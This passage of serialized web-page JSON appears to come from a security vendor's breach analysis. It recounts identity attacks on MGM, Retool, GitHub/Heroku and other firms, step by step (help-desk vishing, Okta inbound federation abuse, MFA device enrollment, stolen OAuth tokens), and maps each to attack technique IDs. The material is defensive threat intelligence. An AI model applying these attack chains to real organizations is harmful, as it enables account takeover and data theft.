,"content":184709,"nodeType":866},{},[184710,184713,184722],{"data":184711,"marks":184712,"value":21,"nodeType":865},{},[],{"data":184714,"content":184716,"nodeType":889},{"uri":184715},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/password-scraping",[184717],{"data":184718,"marks":184719,"value":184721,"nodeType":865},{},[184720],{"type":943},"Password Scraping",{"data":184723,"marks":184724,"value":21,"nodeType":865},{},[],{"data":184726,"content":184727,"nodeType":2366},{},[184728],{"data":184729,"content":184730,"nodeType":866},{},[184731],{"data":184732,"marks":184733,"value":184734,"nodeType":865},{},[],"Credential Access",{"data":184736,"content":184737,"nodeType":2366},{},[184738],{"data":184739,"content":184740,"nodeType":866},{},[184741],{"data":184742,"marks":184743,"value":184744,"nodeType":865},{},[],"Collection of credentials and secrets from repositories e.g. password managers, SaaS file stores, etc.",{"data":184746,"content":184747,"nodeType":1317},{},[184748],{"data":184749,"marks":184750,"value":183866,"nodeType":865},{},[],{"data":184752,"content":184753,"nodeType":866},{},[184754],{"data":184755,"marks":184756,"value":184758,"nodeType":865},{},[184757],{"type":926},"Cloudflare — November 2023",{"data":184760,"content":184761,"nodeType":866},{},[184762],{"data":184763,"marks":184764,"value":184765,"nodeType":865},{},[],"The threat actor used tokens and credentials that had not been rotated to breach Cloudflare’s internal Atlassian server and access its Confluence wiki, Jira bug database, and Bitbucket source code management system. The threat actor first gained access to Cloudflare's self-hosted Atlassian server and then accessed the company's Confluence and Jira systems following a reconnaissance stage. Cloudflare says that this breach did not impact customer data or systems or the provision of services.",{"data":184767,"content":184768,"nodeType":866},{},[184769],{"data":184770,"marks":184771,"value":184773,"nodeType":865},{},[184772],{"type":926},"1Password — October 2023",{"data":184775,"content":184776,"nodeType":866},{},[184777],{"data":184778,"marks":184779,"value":184780,"nodeType":865},{},[],"1Password reported unsolicited activity in their Okta environment which was traced to a suspicious IP address. Later it was confirmed that an threat actor had accessed 1Password’s Okta environment using administrative privileges. They attempted to access the IT team member’s user dashboard, but that attempt was blocked by Okta. They also requested a report of administrative users, which was identified as suspicious and triggered an investigation. 1Password says it terminated the activity, investigated, and found no compromise of user data or other sensitive systems, either employee-facing or user-facing.",{"data":184782,"content":184783,"nodeType":866},{},[184784],{"data":184785,"marks":184786,"value":184788,"nodeType":865},{},[184787],{"type":926},"BeyondTrust - October 2023",{"data":184790,"content":184791,"nodeType":866},{},[184792],{"data":184793,"marks":184794,"value":184795,"nodeType":865},{},[],"BeyondTrust security teams detected an identity-centric attack on an in-house Okta administrator account. BeyondTrust blocked all access to the threat actor, and verified that they did not gain access to any systems. BeyondTrust has confirmed that there was no additional exposure to our internal systems or BeyondTrust’s customers.",{"data":184797,"content":184798,"nodeType":972},{},[],{"data":184800,"content":184801,"nodeType":981},{},[184802],{"data":184803,"marks":184804,"value":184805,"nodeType":865},{},[],"MGM Resorts — September 2023",{"data":184807,"content":184808,"nodeType":866},{},[184809],{"data":184810,"marks":184811,"value":184812,"nodeType":865},{},[],"The threat group known as Scattered Spider socially engineered MGM help desk personnel to grant ‘super admin’ access to the Okta tenant, which was then used to steal data and deploy ransomware, resulting in significant business disruption. ",{"data":184814,"content":184815,"nodeType":1317},{},[184816],{"data":184817,"marks":184818,"value":184819,"nodeType":865},{},[],"How did MGM get breached?",{"data":184821,"content":184822,"nodeType":1616},{},[184823,184833,184843,184853,184863,184873],{"data":184824,"content":184825,"nodeType":1570},{},[184826],{"data":184827,"content":184828,"nodeType":866},{},[184829],{"data":184830,"marks":184831,"value":184832,"nodeType":865},{},[],"Scattered Spider researched MGM employees on LinkedIn to identify individuals likely to have privileged Okta access, specifically Super Administrator privileges. ",{"data":184834,"content":184835,"nodeType":1570},{},[184836],{"data":184837,"content":184838,"nodeType":866},{},[184839],{"data":184840,"marks":184841,"value":184842,"nodeType":865},{},[],"Scattered Spider contacted the IT help desk impersonating an employee with a privileged account asking for an authentication reset (password and MFA).",{"data":184844,"content":184845,"nodeType":1570},{},[184846],{"data":184847,"content":184848,"nodeType":866},{},[184849],{"data":184850,"marks":184851,"value":184852,"nodeType":865},{},[],"With privileged access, the compromised Super Administrator accounts were used to assign higher privileges to other accounts, circumventing MFA by removing enrolled authenticators and/or removing MFA from authentication policies.",{"data":184854,"content":184855,"nodeType":1570},{},[184856],{"data":184857,"content":184858,"nodeType":866},{},[184859],{"data":184860,"marks":184861,"value":184862,"nodeType":865},{},[],"Scattered Spider registered a second, attacker-controlled IdP via Org2Org using inbound federation, granting the ability to impersonate users and access applications on their behalf. By matching the username of target accounts in the second IdP to the original, the attacker was able to SSO into target applications. ",{"data":184864,"content":184865,"nodeType":1570},{},[184866],{"data":184867,"content":184868,"nodeType":866},{},[184869],{"data":184870,"marks":184871,"value":184872,"nodeType":865},{},[],"Through inbound federation, Scattered Spider obtained global admin rights in Azure, effectively granting full control over connected systems and granting domain admin privileges in target environments.",{"data":184874,"content":184875,"nodeType":1570},{},[184876],{"data":184877,"content":184878,"nodeType":866},{},[184879],{"data":184880,"marks":184881,"value":184882,"nodeType":865},{},[],"Scattered Spider deployed encryption software to around 100 ESXi servers and exfiltrated data, disrupting core business operations.",{"data":184884,"content":184885,"nodeType":1317},{},[184886],{"data":184887,"marks":184888,"value":184889,"nodeType":865},{},[],"What was the impact of the MGM breach?",{"data":184891,"content":184892,"nodeType":1616},{},[184893,184903,184913],{"data":184894,"content":184895,"nodeType":1570},{},[184896],{"data":184897,"content":184898,"nodeType":866},{},[184899],{"data":184900,"marks":184901,"value":184902,"nodeType":865},{},[],"Led to a 36-hour outage of multiple MGM IT systems and affected a number of its casinos on the Las Vegas strip, including the Bellagio, Excalibur, Luxor, Mandalay Bay and New York New York.",{"data":184904,"content":184905,"nodeType":1570},{},[184906],{"data":184907,"content":184908,"nodeType":866},{},[184909],{"data":184910,"marks":184911,"value":184912,"nodeType":865},{},[],"Personal data compromise of an unspecified number of customers including various contact information, dates of births, genders, driver’s license numbers, social security numbers, and passport information. ",{"data":184914,"content":184915,"nodeType":1570},{},[184916],{"data":184917,"content":184918,"nodeType":866},{},[184919],{"data":184920,"marks":184921,"value":184922,"nodeType":865},{},[],"MGM reported that the attack would cause a $100 million hit to its third-quarter results, including $10 million in one-time cyber security consulting fees. ",{"data":184924,"content":184925,"nodeType":1317},{},[184926],{"data":184927,"marks":184928,"value":184929,"nodeType":865},{},[],"What stands out in the MGM breach?",{"data":184931,"content":184932,"nodeType":1616},{},[184933,184943,184953],{"data":184934,"content":184935,"nodeType":1570},{},[184936],{"data":184937,"content":184938,"nodeType":866},{},[184939],{"data":184940,"marks":184941,"value":184942,"nodeType":865},{},[],"The MGM breach demonstrates how financially motivated organized criminal groups are specifically targeting the identity infrastructure of an organization (e.g. the chosen IdP solution) and leveraging cloud-native functionality. ",{"data":184944,"content":184945,"nodeType":1570},{},[184946],{"data":184947,"content":184948,"nodeType":866},{},[184949],{"data":184950,"marks":184951,"value":184952,"nodeType":865},{},[],"The MGM breach is notable for being a hybrid attack that ended in what has become a typical “actions on objective” for ransomware operators and their affiliates - the propagation of malware and encryption of core business servers. In this way attackers are leveraging the newer functionality that cloud services provide them to target non-cloud/on-premise resources. This potentially indicates that attackers see cloud applications and services as the path of least resistance to achieving their goals, exploiting more limited security team visibility and understanding of these services compared to more traditional (now well protected) targets. ",{"data":184954,"content":184955,"nodeType":1570},{},[184956],{"data":184957,"content":184958,"nodeType":866},{},[184959],{"data":184960,"marks":184961,"value":184962,"nodeType":865},{},[],"While attackers were focused on taking control of the cloud IdP, the initial access vector was notable for being a more traditional method (vishing) to bypass the need to acquire credentials (password and MFA token). This type of technique remains consistently effective, regardless of the technology landscape and whether MFA is correctly implemented or not.    ",{"data":184964,"content":184965,"nodeType":1317},{},[184966],{"data":184967,"marks":184968,"value":183681,"nodeType":865},{},[],{"data":184970,"content":184971,"nodeType":866},{},[184972],{"data":184973,"marks":184974,"value":183688,"nodeType":865},{},[],{"data":184976,"content":184977,"nodeType":2927},{},[184978,185017],{"data":184979,"content":184980,"nodeType":2400},{},[184981,184990,184999,185008],{"data":184982,"content":184983,"nodeType":38076},{},[184984],{"data":184985,"content":184986,"nodeType":866},{},[184987],{"data":184988,"marks":184989,"value":183704,"nodeType":865},{},[],{"data":184991,"content":184992,"nodeType":38076},{},[184993],{"data":184994,"content":184995,"nodeType":866},{},[184996],{"data":184997,"marks":184998,"value":184170,"nodeType":865},{},[],{"data":185000,"content":185001,"nodeType":38076},{},[185002],{"data":185003,"content":185004,"nodeType":866},{},[185005],{"data":185006,"marks":185007,"value":183724,"nodeType":865},{},[],{"data":185009,"content":185010,"nodeType":38076},{},[185011],{"data":185012,"content":185013,"nodeType":866},{},[185014],{"data":185015,"marks":185016,"value":183734,"nodeType":865},{},[],{"data":185018,"content":185019,"nodeType":2400},{},[185020,185040,185061,185071],{"data":185021,"content":185022,"nodeType":2366},{},[185023],{"data":185024,"content":185025,"nodeType":866},{},[185026,185029,185037],{"data":185027,"marks":185028,"value":21,"nodeType":865},{},[],{"data":185030,"content":185031,"nodeType":889},{"uri":53413},[185032],{"data":185033,"marks":185034,"value":185036,"nodeType":865},{},[185035],{"type":943},"SAT1041",{"data":185038,"marks":185039,"value":21,"nodeType":865},{},[],{"data":185041,"content":185042,"nodeType":2366},{},[185043],{"data":185044,"content":185045,"nodeType":866},{},[185046,185049,185058],{"data":185047,"marks":185048,"value":21,"nodeType":865},{},[],{"data":185050,"content":185052,"nodeType":889},{"uri":185051},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/inbound-federation",[185053],{"data":185054,"marks":185055,"value":185057,"nodeType":865},{},[185056],{"type":943},"Inbound Federation",{"data":185059,"marks":185060,"value":21,"nodeType":865},{},[],{"data":185062,"content":185063,"nodeType":2366},{},[185064],{"data":185065,"content":185066,"nodeType":866},{},[185067],{"data":185068,"marks":185069,"value":185070,"nodeType":865},{},[],"Persistence; Lateral Movement",{"data":185072,"content":185073,"nodeType":2366},{},[185074],{"data":185075,"content":185076,"nodeType":866},{},[185077],{"data":185078,"marks":185079,"value":185080,"nodeType":865},{},[],"Inbound federation allows users to login to a target identity provider by authenticating with a source identity provider",{"data":185082,"content":185083,"nodeType":972},{},[],{"data":185085,"content":185086,"nodeType":981},{},[185087],{"data":185088,"marks":185089,"value":185090,"nodeType":865},{},[],"Retool — August 2023",{"data":185092,"content":185093,"nodeType":866},{},[185094],{"data":185095,"marks":185096,"value":185097,"nodeType":865},{},[],"Software development company Retool disclosed that the accounts of 27 of its cloud customers were compromised following a targeted SMS-based social engineering attack, which was enabled by Google Authenticator’s default synchronization of MFA tokens with the associated Google account.  ",{"data":185099,"content":185100,"nodeType":1317},{},[185101],{"data":185102,"marks":185103,"value":185104,"nodeType":865},{},[],"How did Retool get breached?",{"data":185106,"content":185107,"nodeType":1616},{},[185108,185118,185128,185138,185148,185158],{"data":185109,"content":185110,"nodeType":1570},{},[185111],{"data":185112,"content":185113,"nodeType":866},{},[185114],{"data":185115,"marks":185116,"value":185117,"nodeType":865},{},[],"The threat actor launched a targeted SMS-based phishing campaign against Retool employees with a custom lure relating to their workplace healthcare coverage.",{"data":185119,"content":185120,"nodeType":1570},{},[185121],{"data":185122,"content":185123,"nodeType":866},{},[185124],{"data":185125,"marks":185126,"value":185127,"nodeType":865},{},[],"The timing coincided with a recently announced migration of logins to Okta, and the message contained a url disguised to look like their internal identity portal.",{"data":185129,"content":185130,"nodeType":1570},{},[185131],{"data":185132,"content":185133,"nodeType":866},{},[185134],{"data":185135,"marks":185136,"value":185137,"nodeType":865},{},[],"After logging into the fake portal – which included an MFA form – the threat actor called the employee impersonating an IT team member, deepfaking the IT employee’s real voice and using real information about the company to build trust.",{"data":185139,"content":185140,"nodeType":1570},{},[185141],{"data":185142,"content":185143,"nodeType":866},{},[185144],{"data":185145,"marks":185146,"value":185147,"nodeType":865},{},[],"The phished employee shared an MFA OTP token which allowed the threat actor to add their own personal device to the employee’s Okta account and enabled their own Okta MFA from that point forward.",{"data":185149,"content":185150,"nodeType":1570},{},[185151],{"data":185152,"content":185153,"nodeType":866},{},[185154],{"data":185155,"marks":185156,"value":185157,"nodeType":865},{},[],"Due to the Google Authenticator synchronization feature that syncs MFA codes to the cloud by default, meaning that access to a Google account immediately gave access to all MFA tokens held within that account.",{"data":185159,"content":185160,"nodeType":1570},{},[185161],{"data":185162,"content":185163,"nodeType":866},{},[185164],{"data":185165,"marks":185166,"value":185167,"nodeType":865},{},[],"This enabled the threat actor to take over a number of identities associated with a range of target apps and change the credentials.",{"data":185169,"content":185170,"nodeType":1317},{},[185171],{"data":185172,"marks":185173,"value":185174,"nodeType":865},{},[],"What was the impact of the Retool breach?",{"data":185176,"content":185177,"nodeType":1616},{},[185178,185188,185198],{"data":185179,"content":185180,"nodeType":1570},{},[185181],{"data":185182,"content":185183,"nodeType":866},{},[185184],{"data":185185,"marks":185186,"value":185187,"nodeType":865},{},[],"A total of 27 customers were impacted, with the threat actor specifically targeting customers in the Crypto industry.",{"data":185189,"content":185190,"nodeType":1570},{},[185191],{"data":185192,"content":185193,"nodeType":866},{},[185194],{"data":185195,"marks":185196,"value":185197,"nodeType":865},{},[],"After taking over the accounts, the threat actor was observed gathering information and exploring the Retool apps.",{"data":185199,"content":185200,"nodeType":1570},{},[185201],{"data":185202,"content":185203,"nodeType":866},{},[185204],{"data":185205,"marks":185206,"value":185207,"nodeType":865},{},[],"After learning of the attack, Retool revoked all internal authenticated sessions (Okta, GSuite, etc.) for employees, locked down access to the affected accounts, notified the affected customers, and restored their accounts to their original state.",{"data":185209,"content":185210,"nodeType":1317},{},[185211],{"data":185212,"marks":185213,"value":185214,"nodeType":865},{},[],"What stands out in the Retool breach?",{"data":185216,"content":185217,"nodeType":1616},{},[185218,185228,185238],{"data":185219,"content":185220,"nodeType":1570},{},[185221],{"data":185222,"content":185223,"nodeType":866},{},[185224],{"data":185225,"marks":185226,"value":185227,"nodeType":865},{},[],"Like the MGM breach, the Retool breach demonstrates how financially motivated organized criminal groups are specifically targeting the identity infrastructure of an organization (e.g. the chosen IdP solution) and leveraging cloud-native functionality. ",{"data":185229,"content":185230,"nodeType":1570},{},[185231],{"data":185232,"content":185233,"nodeType":866},{},[185234],{"data":185235,"marks":185236,"value":185237,"nodeType":865},{},[],"A further similarity with the MGM breach, while attackers were focused on taking control of the cloud IdP, the initial access vector was notable for being a more traditional method (SMS phishing in this case) to bypass the need to acquire credentials (password and MFA token). This type of technique remains consistently effective, regardless of the technology landscape and whether MFA is correctly implemented or not.    ",{"data":185239,"content":185240,"nodeType":1570},{},[185241],{"data":185242,"content":185243,"nodeType":866},{},[185244],{"data":185245,"marks":185246,"value":185247,"nodeType":865},{},[],"In this case, the attacker abused inherent weaknesses in Google Authenticator, which came under fire following the breach for its default synchronization of MFA codes to the cloud when connected to an account, in order to move laterally and compromise other target apps. ",{"data":185249,"content":185250,"nodeType":1317},{},[185251],{"data":185252,"marks":185253,"value":183681,"nodeType":865},{},[],{"data":185255,"content":185256,"nodeType":866},{},[185257],{"data":185258,"marks":185259,"value":183688,"nodeType":865},{},[],{"data":185261,"content":185262,"nodeType":2927},{},[185263,185302,185367],{"data":185264,"content":185265,"nodeType":2400},{},[185266,185275,185284,185293],{"data":185267,"content":185268,"nodeType":38076},{},[185269],{"data":185270,"content":185271,"nodeType":866},{},[185272],{"data":185273,"marks":185274,"value":183704,"nodeType":865},{},[],{"data":185276,"content":185277,"nodeType":38076},{},[185278],{"data":185279,"content":185280,"nodeType":866},{},[185281],{"data":185282,"marks":185283,"value":184170,"nodeType":865},{},[],{"data":185285,"content":185286,"nodeType":38076},{},[185287],{"data":185288,"content":185289,"nodeType":866},{},[185290],{"data":185291,"marks":185292,"value":183724,"nodeType":865},{},[],{"data":185294,"content":185295,"nodeType":38076},{},[185296],{"data":185297,"content":185298,"nodeType":866},{},[185299],{"data":185300,"marks":185301,"value":183734,"nodeType":865},{},[],{"data":185303,"content":185304,"nodeType":2400},{},[185305,185326,185348,185357],{"data":185306,"content":185307,"nodeType":2366},{},[185308],{"data":185309,"content":185310,"nodeType":866},{},[185311,185315,185323],{"data":185312,"marks":185313,"value":21,"nodeType":865},{},[185314],{"type":943},{"data":185316,"content":185317,"nodeType":889},{"uri":147552},[185318],{"data":185319,"marks":185320,"value":185322,"nodeType":865},{},[185321],{"type":943},"SAT1042",{"data":185324,"marks":185325,"value":21,"nodeType":865},{},[],{"data":185327,"content":185328,"nodeType":2366},{},[185329],{"data":185330,"content":185331,"nodeType":866},{},[185332,185336,185345],{"data":185333,"marks":185334,"value":21,"nodeType":865},{},[185335],{"type":943},{"data":185337,"content":185339,"nodeType":889},{"uri":185338},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/aitm-phishing",[185340],{"data":185341,"marks":185342,"value":185344,"nodeType":865},{},[185343],{"type":943},"AiTM Phishing",{"data":185346,"marks":185347,"value":21,"nodeType":865},{},[],{"data":185349,"content":185350,"nodeType":2366},{},[185351],{"data":185352,"content":185353,"nodeType":866},{},[185354],{"data":185355,"marks":185356,"value":184241,"nodeType":865},{},[],{"data":185358,"content":185359,"nodeType":2366},{},[185360],{"data":185361,"content":185362,"nodeType":866},{},[185363],{"data":185364,"marks":185365,"value":185366,"nodeType":865},{},[],"Attacker-in-the-Middle (AiTM) phishing uses dedicated tooling to act as a web proxy between the victim and a legitimate login portal for an application the victim has access to, principally to make it easier to defeat MFA protection.",{"data":185368,"content":185369,"nodeType":2400},{},[185370,185391,185414,185424],{"data":185371,"content":185372,"nodeType":2366},{},[185373],{"data":185374,"content":185375,"nodeType":866},{},[185376,185379,185388],{"data":185377,"marks":185378,"value":21,"nodeType":865},{},[],{"data":185380,"content":185382,"nodeType":889},{"uri":185381},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_enrollment/description.md",[185383],{"data":185384,"marks":185385,"value":185387,"nodeType":865},{},[185386],{"type":943},"SAT1043",{"data":185389,"marks":185390,"value":21,"nodeType":865},{},[],{"data":185392,"content":185393,"nodeType":2366},{},[185394],{"data":185395,"content":185396,"nodeType":866},{},[185397,185401,185410],{"data":185398,"marks":185399,"value":21,"nodeType":865},{},[185400],{"type":943},{"data":185402,"content":185404,"nodeType":889},{"uri":185403},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/device-enrollment",[185405],{"data":185406,"marks":185407,"value":185409,"nodeType":865},{},[185408],{"type":943},"Device Enrollment",{"data":185411,"marks":185412,"value":21,"nodeType":865},{},[185413],{"type":943},{"data":185415,"content":185416,"nodeType":2366},{},[185417],{"data":185418,"content":185419,"nodeType":866},{},[185420],{"data":185421,"marks":185422,"value":185423,"nodeType":865},{},[],"Initial Access; Persistence",{"data":185425,"content":185426,"nodeType":2366},{},[185427],{"data":185428,"content":185429,"nodeType":866},{},[185430],{"data":185431,"marks":185432,"value":185433,"nodeType":865},{},[],"Enrollment of a new MFA device in order to allow an adversary to complete MFA challenges for future authentication. ",{"data":185435,"content":185436,"nodeType":972},{},[],{"data":185438,"content":185439,"nodeType":981},{},[185440],{"data":185441,"marks":185442,"value":185443,"nodeType":865},{},[],"GitHub / Heroku / Travis-CI / npm — April 2022",{"data":185445,"content":185446,"nodeType":866},{},[185447],{"data":185448,"marks":185449,"value":185450,"nodeType":865},{},[],"An unknown threat actor used stolen OAuth user tokens (issued to Heroku and Travis-CI) to download data from private repositories. The threat actor then compromised an internal Heroku customer database as well as accessed and stole data from dozens of downstream organizations using Heroku and Travis-CI-maintained OAuth apps.",{"data":185452,"content":185453,"nodeType":1317},{},[185454],{"data":185455,"marks":185456,"value":185457,"nodeType":865},{},[],"How did they get breached?",{"data":185459,"content":185460,"nodeType":1616},{},[185461,185471,185481,185491,185501,185511,185521],{"data":185462,"content":185463,"nodeType":1570},{},[185464],{"data":185465,"content":185466,"nodeType":866},{},[185467],{"data":185468,"marks":185469,"value":185470,"nodeType":865},{},[],"The threat actor obtained access to two third-party OAuth integrators, Heroku and Travis-CI, accessing databases and downloading stored customer GitHub integration OAuth tokens. These tokens had earlier been used by Travis-CI and Heroku OAuth applications to integrate with GitHub to deploy applications.",{"data":185472,"content":185473,"nodeType":1570},{},[185474],{"data":185475,"content":185476,"nodeType":866},{},[185477],{"data":185478,"marks":185479,"value":185480,"nodeType":865},{},[],"Access to the environment was gained by leveraging a compromised token for a Heroku machine account, but it is not disclosed how the threat actor achieved this. ",{"data":185482,"content":185483,"nodeType":1570},{},[185484],{"data":185485,"content":185486,"nodeType":866},{},[185487],{"data":185488,"marks":185489,"value":185490,"nodeType":865},{},[],"The threat actor authenticated to the GitHub API using the stolen OAuth tokens issued to Heroku and Travis CI.",{"data":185492,"content":185493,"nodeType":1570},{},[185494],{"data":185495,"content":185496,"nodeType":866},{},[185497],{"data":185498,"marks":185499,"value":185500,"nodeType":865},{},[],"For users who had the affected Heroku or Travis CI OAuth apps authorized in their GitHub accounts, the threat actor listed all the user's organizations.",{"data":185502,"content":185503,"nodeType":1570},{},[185504],{"data":185505,"content":185506,"nodeType":866},{},[185507],{"data":185508,"marks":185509,"value":185510,"nodeType":865},{},[],"The threat actor then selected targets based on the listed organizations.",{"data":185512,"content":185513,"nodeType":1570},{},[185514],{"data":185515,"content":185516,"nodeType":866},{},[185517],{"data":185518,"marks":185519,"value":185520,"nodeType":865},{},[],"The threat actor listed the private repositories for user accounts of interest and proceeded to clone private repositories of interest.",{"data":185522,"content":185523,"nodeType":1570},{},[185524],{"data":185525,"content":185526,"nodeType":866},{},[185527],{"data":185528,"marks":185529,"value":185530,"nodeType":865},{},[],"GitHub identified unauthorized access to their npm production infrastructure using a compromised AWS API key, obtained by the threat actor when they downloaded a set of private npm repositories using a stolen OAuth token from one of the two affected third-party OAuth applications.",{"data":185532,"content":185533,"nodeType":1317},{},[185534],{"data":185535,"marks":185536,"value":185537,"nodeType":865},{},[],"What was the impact?",{"data":185539,"content":185540,"nodeType":1616},{},[185541,185551,185561],{"data":185542,"content":185543,"nodeType":1570},{},[185544],{"data":185545,"content":185546,"nodeType":866},{},[185547],{"data":185548,"marks":185549,"value":185550,"nodeType":865},{},[],"By stealing these OAuth tokens, the threat actor could access and download data from GitHub repositories belonging to those who authorized the compromised Heroku or Travis CI OAuth apps with their accounts. ",{"data":185552,"content":185553,"nodeType":1570},{},[185554],{"data":185555,"content":185556,"nodeType":866},{},[185557],{"data":185558,"marks":185559,"value":185560,"nodeType":865},{},[],"The threat actor was able to mine the downloaded private repositories for secrets that could be used to pivot to other infrastructure, stealing data from dozens of organizations. ",{"data":185562,"content":185563,"nodeType":1570},{},[185564],{"data":185565,"content":185566,"nodeType":866},{},[185567],{"data":185568,"marks":185569,"value":185570,"nodeType":865},{},[],"In addition to user repo’s downstream, the compromised token for a Heroku machine account obtained by threat actors also allowed unauthorized access into Heroku's internal database of customer accounts, enabling the threat actor to extract the hashed and salted passwords. ",{"data":185572,"content":185573,"nodeType":1317},{},[185574],{"data":185575,"marks":185576,"value":185577,"nodeType":865},{},[],"What stands out in the Github breach?",{"data":185579,"content":185580,"nodeType":1616},{},[185581,185591,185601],{"data":185582,"content":185583,"nodeType":1570},{},[185584],{"data":185585,"content":185586,"nodeType":866},{},[185587],{"data":185588,"marks":185589,"value":185590,"nodeType":865},{},[],"Similar to the Okta breach, this attack showcases the possibility of third-party supply chain attacks to target downstream organizations using cloud SaaS services. In this case, targeting OAuth integrators as opposed to IdP providers, but with a similar goal and impact of compromising the real target organizations downstream. ",{"data":185592,"content":185593,"nodeType":1570},{},[185594],{"data":185595,"content":185596,"nodeType":866},{},[185597],{"data":185598,"marks":185599,"value":185600,"nodeType":865},{},[],"Applications like Github are an obvious target for attackers due to their widespread adoption. There have been numerous attacks leveraging Github as the vehicle for attacks by compromising repo’s to insert malicious code, or registering malicious copycat repo’s to dupe users into using them. ",{"data":185602,"content":185603,"nodeType":1570},{},[185604],{"data":185605,"content":185606,"nodeType":866},{},[185607],{"data":185608,"marks":185609,"value":185610,"nodeType":865},{},[],"Unlike the attacks abusing the functionality of Github (repo poisoning) which target the legitimate developer processes when using the app, this attack could have been prevented at the identity layer before the attacker was able to breach the Heroku/Travis-CI accounts. ",{"data":185612,"content":185613,"nodeType":1317},{},[185614],{"data":185615,"marks":185616,"value":183681,"nodeType":865},{},[],{"data":185618,"content":185619,"nodeType":866},{},[185620],{"data":185621,"marks":185622,"value":183688,"nodeType":865},{},[],{"data":185624,"content":185625,"nodeType":2927},{},[185626,185665,185725,185788],{"data":185627,"content":185628,"nodeType":2400},{},[185629,185638,185647,185656],{"data":185630,"content":185631,"nodeType":38076},{},[185632],{"data":185633,"content":185634,"nodeType":866},{},[185635],{"data":185636,"marks":185637,"value":183704,"nodeType":865},{},[],{"data":185639,"content":185640,"nodeType":38076},{},[185641],{"data":185642,"content":185643,"nodeType":866},{},[185644],{"data":185645,"marks":185646,"value":184170,"nodeType":865},{},[],{"data":185648,"content":185649,"nodeType":38076},{},[185650],{"data":185651,"content":185652,"nodeType":866},{},[185653],{"data":185654,"marks":185655,"value":183724,"nodeType":865},{},[],{"data":185657,"content":185658,"nodeType":38076},{},[185659],{"data":185660,"content":185661,"nodeType":866},{},[185662],{"data":185663,"marks":185664,"value":183734,"nodeType":865},{},[],{"data":185666,"content":185667,"nodeType":2400},{},[185668,185687,185706,185716],{"data":185669,"content":185670,"nodeType":2366},{},[185671],{"data":185672,"content":185673,"nodeType":866},{},[185674,185677,185684],{"data":185675,"marks":185676,"value":21,"nodeType":865},{},[],{"data":185678,"content":185679,"nodeType":889},{"uri":170004},[185680],{"data":185681,"marks":185682,"value":184334,"nodeType":865},{},[185683],{"type":943},{"data":185685,"marks":185686,"value":21,"nodeType":865},{},[],{"data":185688,"content":185689,"nodeType":2366},{},[185690],{"data":185691,"content":185692,"nodeType":866},{},[185693,185696,185703],{"data":185694,"marks":185695,"value":21,"nodeType":865},{},[],{"data":185697,"content":185698,"nodeType":889},{"uri":184349},[185699],{"data":185700,"marks":185701,"value":184355,"nodeType":865},{},[185702],{"type":943},{"data":185704,"marks":185705,"value":21,"nodeType":865},{},[],{"data":185707,"content":185708,"nodeType":2366},{},[185709],{"data":185710,"content":185711,"nodeType":866},{},[185712],{"data":185713,"marks":185714,"value":185715,"nodeType":865},{},[],"Privilege Escalation; Lateral Movement",{"data":185717,"content":185718,"nodeType":2366},{},[185719],{"data":185720,"content":185721,"nodeType":866},{},[185722],{"data":185723,"marks":185724,"value":184378,"nodeType":865},{},[],{"data":185726,"content":185727,"nodeType":2400},{},[185728,185748,185768,185778],{"data":185729,"content":185730,"nodeType":2366},{},[185731],{"data":185732,"content":185733,"nodeType":866},{},[185734,185737,185745],{"data":185735,"marks":185736,"value":21,"nodeType":865},{},[],{"data":185738,"content":185739,"nodeType":889},{"uri":101210},[185740],{"data":185741,"marks":185742,"value":185744,"nodeType":865},{},[185743],{"type":943},"SAT1004",{"data":185746,"marks":185747,"value":21,"nodeType":865},{},[],{"data":185749,"content":185750,"nodeType":2366},{},[185751],{"data":185752,"content":185753,"nodeType":866},{},[185754,185757,185765],{"data":185755,"marks":185756,"value":21,"nodeType":865},{},[],{"data":185758,"content":185760,"nodeType":889},{"uri":185759},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/api-keys",[185761],{"data":185762,"marks":185763,"value":101216,"nodeType":865},{},[185764],{"type":943},{"data":185766,"marks":185767,"value":21,"nodeType":865},{},[],{"data":185769,"content":185770,"nodeType":2366},{},[185771],{"data":185772,"content":185773,"nodeType":866},{},[185774],{"data":185775,"marks":185776,"value":185777,"nodeType":865},{},[],"Persistence; Defense Evasion",{"data":185779,"content":185780,"nodeType":2366},{},[185781],{"data":185782,"content":185783,"nodeType":866},{},[185784],{"data":185785,"marks":185786,"value":185787,"nodeType":865},{},[],"An adversary that has compromised an account could then read existing API keys from the app settings, if the app allows this, or create a new API key.",{"data":185789,"content":185790,"nodeType":2400},{},[185791,185812,185833,185843],{"data":185792,"content":185793,"nodeType":2366},{},[185794],{"data":185795,"content":185796,"nodeType":866},{},[185797,185800,185809],{"data":185798,"marks":185799,"value":21,"nodeType":865},{},[],{"data":185801,"content":185803,"nodeType":889},{"uri":185802},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/app_directory_lookup/description.md#app-directory-lookup",[185804],{"data":185805,"marks":185806,"value":185808,"nodeType":865},{},[185807],{"type":943},"SAT1006",{"data":185810,"marks":185811,"value":21,"nodeType":865},{},[],{"data":185813,"content":185814,"nodeType":2366},{},[185815],{"data":185816,"content":185817,"nodeType":866},{},[185818,185821,185830],{"data":185819,"marks":185820,"value":21,"nodeType":865},{},[],{"data":185822,"content":185824,"nodeType":889},{"uri":185823},"https://pushsecurity.com/resources/browser-identity-attacks-matrix/app-directory-lookup",[185825],{"data":185826,"marks":185827,"value":185829,"nodeType":865},{},[185828],{"type":943},"App directory lookup",{"data":185831,"marks":185832,"value":21,"nodeType":865},{},[],{"data":185834,"content":185835,"nodeType":2366},{},[185836],{"data":185837,"content":185838,"nodeType":866},{},[185839],{"data":185840,"marks":185841,"value":185842,"nodeType":865},{},[],"Discovery",{"data":185844,"content":185845,"nodeType":2366},{},[185846],{"data":185847,"content":185848,"nodeType":866},{},[185849],{"data":185850,"marks":185851,"value":185852,"nodeType":865},{},[],"An adversary who has gained a foothold via a SaaS app could download the list of users accessible to them in order to better target attacks against other users.",{"data":185854,"content":185855,"nodeType":972},{},[],{"data":185857,"content":185858,"nodeType":981},{},[185859],{"data":185860,"marks":185861,"value":185862,"nodeType":865},{},[],"Other notable attacks",{"data":185864,"content":185865,"nodeType":1317},{},[185866],{"data":185867,"marks":185868,"value":185869,"nodeType":865},{},[],"SEC X hack — January 